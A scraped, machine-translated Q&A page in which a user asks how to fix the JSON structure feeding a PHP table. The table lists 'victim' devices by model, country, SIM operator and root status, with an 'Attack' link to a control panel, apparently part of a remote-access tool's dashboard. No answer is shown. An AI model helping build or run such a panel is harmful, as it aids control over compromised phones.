php - 如何为 php 构建 .json 文件
问题描述
我有这个访问 json 文件的 php 代码。然而,json 文件是空的,我需要输入一个示例值。但是,我似乎无法正确构造它。编码:
<?php
$strJsonFileContents = file_get_contents("../private/storage/device_list.json");
$victim_array = json_decode($strJsonFileContents, true);
$index_victim = 1;
foreach ($victim_array["device_list"] as $field => $value) {
echo '<tr>';
echo '<td>'.$index_victim.'</td>';
echo '<td>'.strtoupper($value['DEVICE_MODEL']).'</td>';
echo '<td>'.$value['SOFTWARE_VERSION'].'</td>';
echo '<td>'.$value['COUNTRY'].'</td>';
echo '<td>'.$value['SIM_OPERATOR'].'</td>';
echo '<td>'.$value['CHARGE'].'</td>';
echo '<td>'.$value['IS_ROOTED'].'</td>';
echo '<td><a href="kontrol-panel.php?target='.$value['UNIQUE_ID'].'&type=1'.'">Attack</a></td>';
echo '</tr>';
$index_victim += 1;
}
?>
这是我一直在尝试的json的结构。
{
"device_list": {
"device1": {
"DEVICE_MODEL": "Test",
"SOFTWARE_VERSION": "Test",
"COUNTRY": "Test",
"SIM_OPERATOR": "Test",
"CHARGE": "Test",
"IS_ROOTED": "Test",
"UNIQUE_ID": "Test"
}
}
}
返回错误
Fatal error: Uncaught TypeError: Cannot access offset of type string on string in C:\Server\Data\htdocs\hidden\public\index.php:87 Stack trace: #0 {main} thrown in C:\Server\Data\htdocs\hidden\public\index.php on line 87
涉及第 87 行的行:
echo '<tr>';
echo '<td>'.$index_victim.'</td>';
echo '<td>'.strtoupper($value['DEVICE_MODEL']).'</td>'; (line 87)
echo '<td>'.$value['SOFTWARE_VERSION'].'</td>';
echo '<td>'.$value['COUNTRY'].'</td>';
echo '<td>'.$value['SIM_OPERATOR'].'</td>';
echo '<td>'.$value['CHARGE'].'</td>';
echo '<td>'.$value['IS_ROOTED'].'</td>';
echo '<td><a href="kontrol-panel.php?target='.$value['UNIQUE_ID'].'&type=1'.'">Attack</a></td>';
echo '</tr>';
$index_victim += 1;
如何更正 json 文件的结构?
解决方案
推荐阅读
- javascript - ReactJS 中的绝对导入
- android - 实现 ViewPager2 的问题。正确的方式
- google-sheets - 从列标题返回列值
- reactjs - React 中的简单动画无法按预期工作
- c++ - 尝试在 Mac 上使用 GNU 在 MS VS 上运行 C++
- visual-studio-code - VS 代码片段 - 仅在第一个点之前保留文件名
- sparql - GraphDB 9.5 免费版的 OntoRefine 选项卡中的“SPARQL”按钮在哪里?
- python - 在数据框中查找不同大小的 groupby 的中间行
- c# - 浏览器关闭后 ASP.NET Core Auth 未保持登录状态(Azure AD B2C)
- php - 在 else 分支中包含松散比较的三元表达式会产生意想不到的结果